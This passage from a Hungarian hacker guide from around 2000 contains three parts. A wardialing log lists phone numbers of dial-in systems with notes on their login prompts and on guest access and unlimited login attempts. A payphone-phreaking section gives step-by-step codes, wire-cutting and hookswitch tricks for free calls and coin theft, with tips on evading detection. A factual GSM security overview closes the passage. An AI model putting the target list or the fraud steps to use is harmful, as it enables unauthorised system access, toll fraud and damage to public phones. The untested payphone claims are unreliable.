foglaltlesz.... 0680011-633 Comment:Vmi faszi felvette..e.h 0680011-228 Comment:Not avaible from your calling are 0680011-545 Comment:Wollforth comm. This number is currently nOT IN USE 0680011-769 Comment:EZ MIEN NYELB?V :)))))))))))))))) cocidava DDD id ezt mondjac;]]]]]] 0680011-515 Comment:MI A FENE EZ???????????? EZ KURVA ERDEKES...3t csorog majd tovabbkapcsol ott oan mindha vki fogdozna a kagylot utana onnais tovabbkapcsol siri csend es lekattant a modem most.. 0680011-176 Comment:VMI assistant 0680011-946 Comment:we're sorry. your call cannot get trough. try later..eztmondja 0680011-923 Comment:Card number 0680011-517 Comment:felveszi vki es bemondja: MOSIMOSI :)))))) 0680011-654 Comment:Kocinava ttd id 0680011-465 Comment:VMi card service de number changed es mondja az ujat 0680011-477 Comment:Vmi company...our business ourz are..... 0680011-611 Comment:Pls enter your occp code now 0680011-968 Comment:Card number 0680011-680 Comment:Card numba and pin 0680011-225 Comment:24 our emergency service for your travel agency...beszarok ;))))))

Carrierek:

0680013-081 Carrier(0) 54sec 0680013-941 Carrier(0) 40sec - [Trying... Connected to Xpressway_RLAN -=> !!!!Unlimited login tries!! <=- ] 0680013-342 Carrier(0) 24sec - Ez mintha carrier akarna lenni..de megse 0680013-874 Carrier(0) 24sec - NT 0680013-708 Carrier(0) 20sec - Host name , password, uic...UUNET. 0680013-994 Carrier(0) 22sec - Annex Command Line Interpreter * Copyright (C) 1988, 2000 Nortel Networks Username: ]] 0680013-982 Carrier(0) 26sec - Systems require authorization; unauthorized access is illegal. 0680013-158 Carrier(0) 15sec - ** LTX Europe Terminal Server ** 0680013-932 Carrier(0) 16sec - WINNT - guest tiltva 0680013-308 Carrier(0) 17sec - @ Userid: 0680013-669 Carrier(0) 15sec - SEcurID auth... 0680013-851 Carrier(0) 13sec - Error comp mindig uknown aztan jon ezer adat.. 0680013-981 Carrier(0) 14sec - Carrier de felenel leall 0680013-955 Carrier(0) 16sec - Username: 0680013-997 Carrier(0) 17sec - [[ Annex Command Line Interpreter * Copyright (C) 1988, 2000 Nortel Networks Checking authorization, Please wait...]] 0680013-112 Carrier(0) 17sec - [WELCOME TO THE IBM INFORMATION SERVICES. SYSTEM: IBM0SM04 TERMID: IBMLQUDZ 00/09/23 17:50:35

326

Hackers’ Guide

CUSTOMER ASSISTANCE: 800-727-2222.] 0680013-995 Carrier(0) 21sec - Annex.. 0680013-047 Carrier(0) 13sec - User Access Verification / Username: 0680013-489 Carrier(0) 22sec - NT 0680013-060 Carrier(0) 16sec - Allat amcsi kicsenges...rrr :) Ezredik probara csak osszesipolt.. NT 0680013-860 Carrier(0) 39sec - ICA - ezt irogatja a terminalba 0680013-931 Carrier(0) 16sec - NT 0680013-934 Carrier(0) 16sec - Mcaffee verzioszama kell a dialinhez;] 0680013-557 Carrier(0) 17sec - 33600! :DDDDDD [[WELCOME TO THE IBM INFORMATION SERVICES. SYSTEM: PHBZTRSM TERMID: DS1SIRDW 00/10/27 00:35:34 CUSTOMER ASSISTANCE: Sweden 08-793 25 25. ]] 0680013-538 Carrier(0) 19sec - NT 0680013-226 Carrier(0) 19sec - ** Ascend DCRIMAX Terminal Server ** Password: 0680013-059 Carrier(0) 13sec - [[Welcome to 3Com Total Control HiPer ARC (TM) Networks That Go The Distance (TM) login: ]] 0680013-777 Carrier(0) 15sec - NT ( guest disabled ) 0680013-530 Carrier(0) 15sec - [[ Starting SecurID Authentication... User ID: ]] 0680013-998 Carrier(0) 40sec - [[Annex Command Line Interpreter * Copyright (C) 1988, 2000 Nortel Networks Checking authorization, Please wait.. ]] 0680013-886 Carrier(0) 32sec - FAX 0680013-834 No Carrier(0) 57sec Comment: 0680013-999 Carrier(0) 33sec - [[ Annex Command Line Interpreter * Copyright (C) 1988, 2000 Nortel Networks Checking authorization, Please wait... Annex username: ]] Guest/guestre feloraig var.. 0680013-418 Carrier(0) 22sec - EHHHHH...mindha carrier lenne eleg erdekes hangja van...osszesip felenel leall 0680013-209 Carrier(0) 22sec - [[ Sarnoff Remote Access Operational - Unauthorized Access Prohibited Login: ]] hmmmmmm 0680013-652 Carrier(0) 47sec - @ Userid: 0680013-253 Carrier(0) 35sec - Radius Auth.. 0680013-993 Carrier(0) 26sec - ANNEX 0680013-990 Carrier(0) 38sec - ANNEX 0680013-212 Carrier(0) 41sec 0680013-511 Carrier(0) 45sec - NT 0680013-846 Carrier(0) 43sec - NT [ guest tiltva ] 0680011-695 Carrier(0) 22sec 0680012-578 - osszesipolasnal dogledezik ( Terminal: nlogin: ) 0680012-599 - 12000bps Term semmi.. nem valaszol egy halozati keresre..coon type panasz 0680012-725 - osszesipolasnal neha meghal de erdemes szenvedni vele! ...elvileg van guest azt irjak, de megse megy 0680012-723 - ugyanaz mind az elozo. Vmi Missouri-i szam ez..ehhe. 0680012-892 - ERRDEKES!! Hivom csomot var osszesipolni akar es jon a magyar

327

Hackers’ Guide

bep beep beep jelzes..ehhe 0680012-890 - CARRIER akar lenni de mar az elejen megszakad...ehhhhe

A 011-xxx még scan alatt van, azért van csak ennyi szám itt. A többinél lehetnek apróbb hibák és egy szám többször is szerepelhet a listában, kérlek ezt nézzétek el nekem.

© 2000 by MMan. ************************************************************************************************ A pénzbedobós telefonok hackolása Amerikában és Angliában

A minap a kezem közé akadt egy doksi amiben a fizetos telefonok feltörésérol van szó és szerintem a laikusok számára is értheto :)) Amúgy is sokan kérdezik hogy hogy lehet ingyen telefonálni avagy más számlájára telefonálni, gondoltam közzéteszem ezeket a trükköket. El kell mondanom hogy alaposan megmozgatták az agyamat és amint lesz rá alkalom meg fülke ki is próbálom oket :) ( na persze lennie kéne egy fülkének amire este nem lehet rálátni házakból ... stb ) Nos nézzük! A Bt 200 Fülke: Ez a phreaker álma! A fülke és a kézibeszélo között futó kábel színe sötétbarna! Nos erre a fülketípusra két mód is létezik amivel elérhetjük hogy ingyen engedjen minket telefonálni. Az egyik hogy felvesszük a kagylót és beütjük a *#2580 -t. Ezek a számok pontosan egymás alatt vannak a számoknál úgyhogy egy pillanat alatt be tudod ütni. Ez után várnod kell egy kicsit és a tárcsahang visszajön és ezután azt hívsz akit csak akarsz teljesen ingyen!! ( csak vigyázz hogy haza ne telefonálj nehogy lebukj ha esetleg követik a hívást )

A második módszer ugyanerre a fülkére: emeld fel a kagylót és ha a telefon kijelzojén megjelenik a ---- akkor be kell ütnöd a kódot. Eloször is üss be négy csillagot majd a kettoskeresztet. Ekkor kéri csak a kódot valójában. Ez a fülke telszáma, körzetszáma .. sokminden lehet egyszóval... lehetséges még hogy amikor bekapcsolod a telefon-t akkor kiírja az idot amikor gyártották. (de ez nagyon ritka..) Ez is lehet a kód. Mindenesetre ha felveszed a telefon-t és tárcsahangot kapsz akkor ez NEM BT fülke és ezek a trükkök nem muködnek.

Nézzük a nem BT fülke trükkjeit: Van egy kábel ami a kézibeszélotöl megy a fülkébe ezen a régebbi fülkéknél nincs vasborítás, de az újabbaknál már be vannak borítva. Nos ha valahogyan hozzáférsz a borítás alatt levo kábelekhez akkor ott egy négyszínu kábeltömeget fogsz látni.( de elotte még le kell szedned a kábel külso

328

Hackers’ Guide

borításást is! ) Vedd fel a kézibeszélot és vágd el valamelyik színu vezetéket. Ha megmarad a tárcsahang akkor eltaláltad ... ezután dobd be a nálad lévo legkisebb mennyiségu pénzt és tárcsázz ... ha minden jól megy akkor evvel a kis pénzzel a végtelenségig beszélhetsz!! :))) Ez általában minden telefonnál muködik beleértve a külföldi készülékeket is. Van még1 csoda ezenkél a telefonoknál: ha a kábelt amit elvágtál újra bekötöd akkor visszaadja a bedobott pénzt amit azután dobtak be miután te elvágtad a kábelt!!! Tehát ha egy kis zsebpénzre van szükséged akkor rajta. A kábelt próbáld nem feltünoen elvágni pl. a zsinór hátulján mert ha egy ember odamegy telefonálni észreveheti a kábelt és hívhatja a telefontársaságot is... és ha véletlen arrajár egy telefonszerelo neki is feltunhet hogy a kábelek hát...izéé..eléggé meg vannak rongálva. Fizetos fülke 600-as típus: Ezeken a fülkéken a régebbi hibákat már kijavították...de itt is van valami amit érdemes kipróbálnod: emeld fel a kagylót és ha kapsz tárcsahangot akkor nyomd le a kezeddel a villát. Ekkor azonnal hallasz egy kis click-et majd kb 3-4mp után egy újabb click-et hallasz és a kijelzo elsötétül. Halgasd le ezt egypárszor hogy megérzd mikor fog jönni a második click. Ha úgy érzed sikerült akkor: halálpontosan a második click-nél ( NEM elotte és NEM utána!!!! ) gyorsan engedd el a villát! Ha szerencséd van akkor a fülke kijelzoje kissé megváltozik és 77-et fog mutatni. ( mintha dobtál volna be pénzt / kártyát ) Ezután a kezeddel a villát megint. Ekkor a fülke dolgozik egy kicsit és a tied!! Vedd fel és játszd el a click-es trükköt megint. Ekkor a számláló 55.26-t fog mutatni ha szerencséd van. Ezután annyit telefonálsz amennyit csak akarsz!! Hívj fel minden ismerosödet, haverodat, és beszélj velük egész nap!!

A másik módszer: Dobjál be kb 10-20ft-ot. Várd meg amíg már csak alig marad a pénzedbol( 1ft alatt kb :) és nyomd be a hívás vége gombot. ( új hívás ) Ekkor a fülke megpróbál visszaadni de mivel ennél kevesebbet nem tud visszaadni kis pénzhullás lesz benne amire azt hiszi hogy bedobtál pénzt :)) Ha ez nem jönne be itt is kipróbálhatod a négyszínu kábelek közül egyet elvágok trükköt. Fizetos fülke 2000 verzió: Ennél a fülkénél már nincs sok módszer mert nagyon sokat javítottak rajta. De mégis van valami: dobj be 10ft-ot és várj amíg kb 1 ft marad. Utána még beszélj egy kicsit és nyomd meg a hívásbontás gombot és üsd be a 141 141 00000 gombokat. A végén az utolsó nullát addig tartsd lenyomva amíg a számok ki nem repülnek a kijelzorol... ezután aztán mehet az ingyen telefon!! :)) FIGYELEM! A pénznemeket és az összes többi dolgot Angol dokumentációból vettem úgyhogy nem feltétlen ugyanezekkel a pénzmennyiségekkel kell csinálnod és nem is biztos hogy muködnek. ( ki tudja :)) A másik dolog pedig az hogyha találsz egy módszert ami muködik akkor NE kürtöld világgá a tudást mert jön a telefontársaság és az összes ilyen szériás fülkén javítják a hibát!

© 2000 by MMan. ************************************************************************************************

329

Hackers’ Guide

Mobildolgok

Hali mindenkinek!

Itt van egy kis információ a mobilokról. NEM saját anyag egy Anonymous nevu emberkétol kaptam. Szeretnék neki köszönetet mondani így weben keresztül is: Köszi, köszi, köszi! Remélem érdekes lesz mindannyiunknak... :)

MMan

Mobilitás és biztonság a GSM rendszerben A biztonság védelmi szintjei Az autentikáció célja és folyamata Információ titkosítás

A GSM megalkotói többszintu védelmi rendszert dolgoztak ki az elofizetok személyiségének védelme és a rendszerben továbbított beszélgetéseik, adat és faxüzeneteik titkosítása érdekében. Ha a mobiltelefon tulajdonos rendeltetésszeruen használja készülékét, akkor engedélye nélkül illetéktelenek nem tudnak telefonálni számlájára, elvesztett készüléke a megtaláló számára csak értéktelen talált tárgy marad, ugyanakkor a GSM rendszeren belül továbbított beszélgetéseit, adat vagy fax üzeneteit senki nem képes lehallgatni. A rádiótelefon rendszerek legsérülékenyebb szakasza a rádió interfész, a mobil állomás és a bázisállomás közötti szakasz, ahol az információ a levegoben közlekedik. A musorszóró és kereskedelmi rádiózásban alkalmazott hagyományos modulációs eljárásokat ( pl. AM, FM ) alkalmazó analóg rádiótelefon rendszerekben meg van annak a veszélye, hogy viszonylag egyszeru berendezések segítségével külso megfigyelo "belehallgasson" mások üzeneteibe. A cellás rendszeru analóg hálózatokban a mozgó, több cellahatárt átlépo, telefon követése már nem ilyen egyszeru feladat, és a mások nevében (idegen telefonszámlára) való bejelentkezés is meglehetosen bonyolult. A 900 Mhz-es tartományban muködo GSM rendszer az FDMA TDMA technikák egy speciális ötvözetét használja, digitális modulációs eljárást alkalmaz, és a 104 kbit/s-os digitalizált beszédet egy speciális algoritmus 13 kbit/s-ra tömöríti. A digitális technika lehetové teszi az információ átlapolással való továbbítását és titkosító eljárások alkalmazását. A frekvencia hopping alkalmazása tovább nehezíti egy GSM mobiltelefon követését különösen akkor, ha az nagy sebességgel (az elméleti határ 250 km/ó) mozog a cellák között.

A biztonság védelmi szintjei: A GSM rendszer minden elofizetoje egyéni azonosító modult kap, a SIM kártyát Subscriber Identity Modul). Ezen a kártyán egy mikroprocesszor gondoskodik arról, hogy a kártyát csak jogos tulajdonosa használhassa, továbbá a GSM hálózattal együttmuködve ellenorzi a SIM kártya jogosultságát a kért szolgáltatás igénybevételére. A SIM kártyát 4-8 számjegy hosszúságú PIN (Personal Identity Number) kód védi az illetéktelen felhasználástól. Ezt a kódot a készülék bekapcsolása után kell bebillentyuzni ahhoz, hogy a mobil állomásról hívást lehessen

330

Hackers’ Guide

kezdeményezni. A nemzetközileg elfogadott 112-es hívószámról SIM nélkül is lehet segélykéro hívást indítani. Ha a beadott kód nem egyezik meg a SIM kártyán tárolt számmal, újból kell próbálkozni. Három egymást követo sikertelen kísérlet után a kártya blokkolt állapotba kerül. A PIN kód bekérését le lehet tiltania mobiltelefon billentyuzetén keresztül, de akkor a készülék bekapcsolását követoen bárki használhatja SIM kártyánkat. Az ellenorzött PIN kód sokkal több védelmet jelent mint amennyi kényelmetlenséget okoz a néhány szám bevitele. A PIN kódnak beállított kezdeti értéke van, amit célszeru egyéni kódra módosítani. Új PIN kódot csak a régi kód ismeretében lehet választani. A leblokkolt SIM kártyát feloldani csak a kártyához rendelt nyolc számjegyu PUK (PIN Unblocking Key) segítségével lehet. Ezt a kulcsot is megkapja minden elofizeto, de ennek módosítását csak a hálózat operátora tudja elvégezni az ADM (Adminnistrative) kód segítségével. Az ADM kód az operátor tulajdona. A PUK kód alkalmas arra is, hogy a kártyának új PIN kódot adjunk a régi ismerete nélkül. A SIM kártyához rendelt PIN, PUK, ADM kódokat a kártya egyedi azonosítója (ID) és egy, csak a gyártó által ismert kulcs felhasználásával generálják a DES algoritmus segítségével: PIN=DES(ID, KPIN) PUK=DES(ID, KPUK) ADM=DES(ID, KADM) Minde GSM mobiltelefon készüléknek egyedi azonosítója van, a 15 számjegy hosszú IMEI (International Mobile Equipment Identity) szám. Az elso hat digit jelolése TAC (Tipe Approaval Code), ez a készülék típusengedélyének azonosítója, a következo két számjegy jele FAC (Final Assembley Code) a gyártás helyét jelöli, további hat számjegy a gyártási sorszám, az utolsó digit mindig nulla. A TAC, FAC kódokat mindössze hat erre a célra létrehozott laboratórium jogosult kiadni igazolva azt, hogy az ellenorzött típus megfelel a GSM eloírásoknak. Az IMEI a legtöbb készülék kijelzo egységén is megjelenítheto. Ezt az azonosítót célszeru biztonságos helyen orizni. Az IMEI számot a mobil telefon minden bekapcsolást követoen és minden kapcsolat felépítésekor (hívás kezdeményezéskor és fogadáskor) beküldi a hálózatnak ellenorzés céljából. Az ellenorzést az EIR (Equipment Identity Register) végzi, ami olyan számítógépes adatbázis, amelyben négy különbözo listán IMEI számok szerepelnek. A fehér lista az engedélyezett típusok TAC, FAC kódjait tartalmazza. Az engedély nélküli típusokat ismeretlennek (unknown) nyilvánítja az GSM rendszer. Szürke listára azok a készülékek kerülnek, amelyek meghibásodás gyanúja miatt (pl. rossz szinkronizáció) megfigyelés alatt állnak. A letiltott (ellopott vagy elvesztett) mobilok IMEI számai alkotják a fekete listát. Amennyiben a beküldött IMEI szerepel a fekete listán, ez az ellenorzés elso lépése, a kapcsolat felépítése megszakad függetlenül attól, hogy a mobilról kezdeményezték a hívást, vagy azt hívták. Második lépés a szürke listával való összevetés. Ezen a listán szereplo készülékkel lehet telefonálni, de feljegyzés készül az eseményrol. Végül a fehér lista ellenorzése következik és ha ezen szerepel az IMEI elso nyolc számjegye, akkor a kapcsolat felépül, ha nem, akkor a mobil típusa ismeretlen és feljegyzés készül róla (IMEI, IMSI, idopont, lokációs azonosító). Az ismeretlen típussal szemben ugyanaz a szabály érvényes, mintha fekete listán szerepelne a készülék. Errol a tiltásról a hálózat operátora ideiglenes felmentést adhat. A korszeru mobil telefonok elektronikus zárkóddal rendelkeznek. Ez a kód a PIN kódhoz hasonló, de a SIM kártya helyett magát a készüléket védi az illetéktelen próbálkozóval szemben, ugyanis bekapcsoláskor a mobil bekéri ezt az azonosítót. Ismerete nélkül a készülék nem használható. Három sikertelen kísérlet után a telefon blokkolt állapotba kerül. Ez a kód az eltulajdonítás ellen is véd. A blokkolt készülék csak egy zárfeloldó kód segítségével hozható muködoképes állapotba, vagy ha ilyen nincs, akkor a szervíz segítségét kell kérni. Van olyan rádiótelefon is, ami érzékeli hogy kicserélték benne a SIM kártyát és ebben az esetben kéri a zárkódot. Ha ezt a

331

Hackers’ Guide

készüléket eltulajdonítják és a SIM kártyát az elofizeto letiltatja, akkor az idegen SIM kártya zárkód ismerete nélkül nem használható. A GSM elofizeto SIM kártyáját a PIN és PUK kódok, a mobil készülékét pedig az IMEI és a zárkód védi az illetéktelen felhasználás ellen. Lehet, hogy elso olvasásra túlságosan bonyolultnak tunik a sokféle kód használata, de nagyon hamar elsajátítható a kezelésük. Nem az elofizeto bosszantására, hanem annak védelmére találták ki a GSM tervezoi. Tanácsos valamennyit eloírás szerint alkalmazni. Az elozoekben említett védelmi szintek valamennyi rádiótelefon rendszerben alkalmazhatók, és csak a hívások kezdeményezését (kivétel a 112-es segélykéro hívás) akadályozzák meg. Az elofizeto igazi védelmét az jelenti, hogy SIM kártyája egyedi, az o nevében más SIM kártyával nem lehetséges a hálózatba bejelentkezni, tehát lehetetlen más számlájára beszélgetni, vagy adat fax üzenetet továbbítani. A SIM kártyán két fontos adat szerepel. A 15 számjegy hosszú IMSI (International Mobile Subscriber Identity), a nemzetközi mobil elofizeto azonosító, és a elofizeto autentikációs kulcsa a Ki, ami egy 32 hexadecimális karakter hosszú kulcs, és a legbiztonságosabban védett kód a GSM rendszerben. Bekapcsoláskor a mobiltelefon beküldi a hálózatnak az SIM kártyán szereplo IMSIt, ami ez alapján meg tudja állapítani, hogy melyik ország melyik hálózatának elofizetoje jelentkezett be. A vendéglátó hálózat lekérdezi a honos hálózattól az elofizeto jogait (milyen szolgáltatásokra jogosult), és az IMSI helyett egy ideiglenes IMSIt, a TMSIt (mondhatjuk azt is, hogy álnevet) kap az elofizeto. Ez az álnév sem állandó, hanem a mobiltelefon mozgásakor bizonyos szabályok szerint lokációs területenként változó. Igy a kívülálló számára lehetetlen megfigyelni a SIM kártya (vagyis az elofizeto) mozgását, összerendelni azt a beszélgetok személyével. A Ki kulcs a SIM gyártásakor kerül a kártya memóriájába, a legyártott kártyák Ki kulcsai egy titkosított adatbázist képeznek és ez az adatbázis kerül a GSM központ autentikációs központjába (AuC). Az adatbázis titkosítására szolgáló kulcsok azonosak a SIM kártya gyártásánál használt programozó berendezésben és az autentikációs központban. Gyártáskor a programozó a Ki adatbázis titkosításakor csak a kulcs sorszámát adja meg, a kulcsot magát nem ismeri. Hasonló az eljárás a Ki adatbázisnak az autentikációs központba való bevitelénél, itt is csak a titkosító kulcs sorszámát kell megadni. A Ki tehát sehol sem olvasható "tiszta" formában, és nem is manipulálható. A SIM kártyán szereplo Ki kulcs sem hozzáférheto, a mobil és a kártya közötti adat-cserében soha semmilyen formában nem vesz részt.

Az autentikáció célja és folyamata: A SIM kártya autentikáció célja kettos. Kizárni a szolgáltatásokhoz való illetéktelen hozzáférést, továbbá biztosítani azt, hogy más nevében ne lehessen bejelentkezni, azaz más számlájára ne lehessen telefonálni. Az autentikáció minden bekapcsoláskor és minden hívás-felépítéskor (ezalól van kivétel) megtörténik. Az elofizeto honos hálózata (AuC) kisorsol egy 128 bites RAND véletlen számot, amit kiküld a mobil telefonon keresztül a SIM kártyának. A SIM kártya és az AuC is elvégezik ugyanazt a számítási muveletet, amelynek bemeneti paraméterei a Ki és a RAND (1.ábra.). 1.ábra. Az eredmény egyik részét, a 32 bit hosszúságú SRES (Sign RESponse) eredményt, a mobil visszaküldi a hálózatnak. Ha a mobil által beküldött eredmény egyezik a központban ugyanazon Ki és RAND alapján kapott SRES eredménnyel, akkor az autentikáció sikeres, és az ellenorzés a már említett IMEI kontrollal folytatódik. A honos elofizetoi SIM kártya és az AuC is ugyanazt az uatentikációs algoritmust

332

Hackers’ Guide

használja, de különbözo hálózatoknak nem kötelezo azonos algoritmust használni. Egy elofizeto nevében csak akkor tudunk telefonálni, ha le tudjuk másolni SIM kártyáját. A SIM másolása a GSM szakértok mai tudása szerint nem lehetséges. A számítási eredmény másik eleme a 64 bit hosszú Kc (Ciphering key), az úgynevezett titkosító kulcs, amit a beszéd, adat vagy fax üzenet titkosítására használnak.

Információ titkosítás: A PIN, a készülék zárkód, a TMSI, az autentikáció az elofizeto egyént mint számlafizetot védik. A rádiócsatornán küldött információ (beszéd, adat vagy fax) védelmét jól kidolgozott titkosítási eljárás védi. A GSM rendszer speciális FDMA-TDMA technikát alkalmaz ami azt jelenti, hogy minden cellában más a vivofrekvencia és a kiosztott idorés is véletlenszeru (az adási-vételi ido 0.577 ms, a periódusido pedig 4.615 ms). A nem aktív, csak hallgatódzó, mobil nem kap dedikált forgalmi csatornát, így nyugalmi állapotban semmilyen megfigyelésre nincs lehetoség. A mobil és a bázisállomás idonként váltanak egymásközt jelzéseket, de ezek a jelzések is védettek. A GSM digitális rádiótelefon rendszer, ami azt jelenti, hogy maga a beszéd is digitális formában kerül továbbításra. A mikrofon jelének mintavételezése után a minták egy az emberi beszédre optimalizált feldolgozó processzorba kerünek. Az RPE-LTP (Regular Pulse Excitation-Long Term Prediction) DSP (Digital Signal Processor) kimenetén 13 kbit/s sebességu digitális beszéd jelenik meg. Az információ átlapolásos technikával, a legfontosabb bitek hibajavító kóddal kiegészítve, és csatorna kódolás után kerülnek a GMSK (Gaussian Minimum Shift Keying) modulátorba. A digitális technika teszi lehetové, hogy a kriptográfiában alkalmazott eljárások segítségével rejtjelezzük a továbbítandó üzeneteket, és így kívülálló fél számára lehetetlenné tegyük a lehallgatást. A GSM rendszernek saját kidolgozott titkosító algoritmusai vannak. A Westel 900 és valamennyi európai ország az A5/1 változatot használja. A titkosító eljárás bemeneti paramáterei a 22 bit hosszu keretsorszám (FrNo), és az autentikáció során kiszámított Kc titkosító kulcs (2.ábra). A GSM rendszerben használt valamennyi jelzo és információs bit, a PCM technikában használatos kerethez hasonló GSM TDMA keretbe vannak szervezve. A több keretbol álló hiperfrém közel 3.5 óra hosszú. A keret sorszáma nem folyamatosan inkrementálódik, hanem három különbözo keretjellemzo paraméter kombinációjából jön létre. 2.ábra. A titkosítás csak a levegoben utazó biteket védi. A vezetékes hálózatba irányuló hívás védettségi szintjét a mobil hálózaton kívül a GSM rendszer nem tudja befolyásolni. Hasonló a helyzet két GSM hálózat között felépített kapcsolat esetében is. Ilyekor lehetséges, hogy a nemzetközi távközlési utakon keresztül az információ hozzáférheto harmadik fél számára is..

A GSM rádiós hálózat szolgáltatásai: A mobil telefon rendszerek alapveto követelménye, hogy a telefon összeköttetéseknek biztosítsa a teljes mozgás lehetoségét, a telefon kapcsolat létesítése és annak fenntartása ne függjön a telefonáló tartózkodási helyétol. Annak érdekében , hogy minél több elofizetonek, nagy területen, jó minoségu szolgátatást biztosítani lehessen, a hálózat üzemeltetojének nagy számú bázisállomást kell üzembe helyeznie, azaz biztosítani kell a megfelelo kapcitást és lefedettséget. Minden szolgáltatónak megvan a saját üzleti politikája, mely a kiszolgálandó piacon alapszik. Egyik stratégia lehet, hogy a leheto legtöbb elofizetot kell kiszolgálni aránylag kis helyen mint pl. Budapest belvárosa. Másik stratégia, a kiterjedt ellátott

333

Hackers’ Guide

terület biztosítása pl. vidéki területek. Az operátorok célja a mobil szolgáltatások indításakor általában lefedettség és mobilitás biztosítása. Az elofizetok számának növekedtével a késobbiek során már a hálózat kapcitását is növelni kell a minoség fenntartása mellett. A kapcitás növelés legegyszerubb formája a további cellák építése. Ez egyben azonban a legköltségesebb megoldás is. Másrészt, mivel a rendelkezésre álló frekvenciák száma limitált (ez Magyarországon 40db GSM csatornát jelent üzemeltetonként), a hálózat növekedésével a frekvenciákat többszörösen újra fell kell használni, mely által növekszik az interferencia a rádiós hálózatban, ami a beszéd minoségének rovására mehet. Az operátorok ezért mindent elkövetnek, hogy felesleges bázisállomás építése nélkül tudják a kapacitásukat növelni, a telefon összeköttetések minoségét javítani, a már muködo hálózat jobb kihasználása, optimalizálása árán. Ezt szolgálják a rádiós hálózat szolgáltatásai, különbözo technikái, melyeket már a hálózat tervezése során figyelembe kell venni. Ezek muködését a hálózati elemekben levo intelligencia biztosítja. Ebben a cikkben a teljesség igénye nélkül ismertetni szeretnék néhány szolgáltatást, ezek hatását a rádiós hálózatra és az elofizetok által észlelt minoségre.

1. Alapveto szolgáltatás:a mobilitás biztosítása: A GSM rendszer központi intelligenciájának, amely a hálózati elemeket irányítja, el kell döntenie, hogy a hívást mely bázisállomás szolgálja ki. Ezért a rendszer folyamatosan figyeli a mobilokat a hívás során. Aktuális helyzetüknek megfeleloen az összeköttetést a BSC-ben (Base Station Controller) tárolt algoritmus szerint mindig módosítja úgy, hogy valamilyen szempontból mindig a legmegfelelobb bázisállomás kezelje a forgalmat. Ehhez a folyamathoz az elengedhetetlenül szükséges bemeno adatokat a mobil és a báziállomás mérései szolgáltatják. A mobil által végzett mérések: - a kiszolgáló cella térerosségének mérése, - a kiszolgáló cella vett jelének minoségmérése (dekodolt jel bit hiba arányának mérése), - a szomszádos cellák térerosségénak mérése. A mobil a GSM szerinti TDMA rendszerben hívás alatt csak az ido 1/8-ban kommunikál a bázisállomással. Ez ido alatt a bázisállomás által létrehozott térerosséget és a dekódolt jel bit hiba arányát, míg a fennmaradó idoben a szomszédos cellák BCCH (Broadcast Control Channel) vivojének a térerosséget méri. Ezt a vivot a bázisállomásnak folyamatosan ki kell sugároznia. A mérendo csatornákat bázisállomás által kisugárzott rendszer információk tartalmazzák. A mobil a kiszolgáló és a legjobb 6 átlagos térereju szomszédos cellának a mérési eredményeit 480ms-ként küldi el a bázisállomáson keresztül a BSC nek. A bázisállomás által végzett mérések: - a mobil által létrehozott térerosség mérése, - a mobil vett jelének minoségmérése - Timing Advance mérés Timing Advance: A GSM TDMA rendszerében egy RF vivot 8 rádiótelefon használhat idoosztásban. Lényeges tehát, hogy a mobilok által kisugárzott jelek megfelelo idoben érkezzenek a bázisállomásra, úgy, hogy a szomszédos idorések ne lapolódjanak át. Ezért a báziállomás a mobilok által kisugárzott burst-k (egy Burst 156.25 bit, amely az egy idorésben kisugárzott adatt mennyisége) idozítését méri, és ahogyan a mobil távolodik a bázisállomástól a bit ido többszöröseivel (Max. 63 bit) sietteti az adásukat. Mivel 1 bit ido kb 550m-nek felel meg, ebbol adódik, hogy GSM rendszerben a maximális cella sugár kb 35 km.) A bázisállomás minden idorésben megméri az ott éppen kommunikáló rádiótelefonok által létrehozott térerosséget, valamint a vett jelek bit hiba arányát. A mobil és a

334

Hackers’ Guide

bázisállomás mérési riportjai alapján a BSC-ben egy algoritmus meghatározza az optimális szomszédos cellákat, és szükség esetén a mobilt utasítja, hogy a kommunikációt ezek közül melyiken kell folytatnia. Ez a Handover. Szükségessé válhat a Handover pl: - ha a szomszédos cella térerossége nagyobb egy meghatározott hiszterézis értékkel mint a kiszolgáló celláé, - a bit hiba aránya azaz a beszéd minosége leromlott, - vagy a Timing advance nagyobb a megengedettnnél. A hiszterézist szomszédsági viszonylatonként lehet definiálni. 1. ábra Alkalmazására azért van szükség, hogy a cellahatárok jól kézben tarthatóak legyenek. Kis hiszterézis esetén feleslegesen sok Handover történik. (Ping-Pong effektus) Túl nagy hiszterézis használatával a kiszolgáló cella térereje és ezzel együtt a C/I arány nagyon leromolhat, mire a Handover szomszédos cellára megtörténik. A cella határokat még további megadható paraméterek alkalmazásával (pl. aszimetrikus hiszterézis) módosítani lehet, mely segítségével pl.forgalom terelheto egyik celláról a másikra, vagy a cella határt topográfiailag kedvezobb helyre lehet áthelyezni.

2. Kapacitást és a beszéd minoséget növelo rádiós szolgáltatások: A mobilitás biztosítása minden rádió telefon hálózatban alapveto követelnény. Az elofizetok számának növekedésével szükségessé válik kapacitást növelo szolgáltatások alkalmazása. A mobil rendszerekben a kapcitás növelése és a beszéd minosége általában ellentmond egymásnak, a többszörös frekvencia újrafelhasználással járó növekvo interferencia miatt. Ezért az olyan rádiós technikák, melyek a beszéd minoségét javítják lehetové teszik a cellák számának növelését. A beszéd minosége szoros összefüggésben van az aktuális C/I arányával. Így ezeknek a szolgáltatásoknak a célja, hogy optimalizálják a vivo-interferencia arányt a hálózat minden pontjában és minden összeköttetésben.

2.1 Frekvencia hopping A frekvencia hopping alkalmazása, lehetoség a GSM üzemeltetok számára a frekvencia diverziti megvalósítására a rádiós hálózatban. Ez abból a ténybol származik, hogy a multipath fading frekvencia függo. Azaz a fading gödrök különbözo frekvencák esetén kölönbözo helyeken jelennek meg. Az a mobil amelyik használja a frekvencia hoppingot, nagy valószínuséggel, nem kerület hosszabb idore fading gödörbe, mint egy TDMA idorés ideje. Ez élég rövid idotartam ahhoz, hogy a GSM rendszerben alkalmazott beszédkódolás és interleaving, a keletkezett bit hibákat felismerje és kijavítsa. Így a lassú mobilok számára a multipath fading által okozott térerosség változásokat a frekvencia hopping kiátlagolja, mint ahogyan ez 2 frekvencia esetén a 2. ábrán látható. 2. ábra A gyorsan mozgó mobiloknál a rádiós környezet idorésrol idorésre folyamatosan változik ami hasonló jellegu javulást biztosít számukra, mint a frekvencia diverziti. Az interferencia is idorésrol idorésre változik frekvencia hopping alkalmazásakor. Ez javulást eredményez azoknál a mobiloknál, melyeknél az interferencia az egész kapcsolat során elfogadhatatlan minoséget okozna, mivel az interferáló jel idorésenként más és más összeköttetéseket zavar. Ez a frekvencia hopping

335

Hackers’ Guide

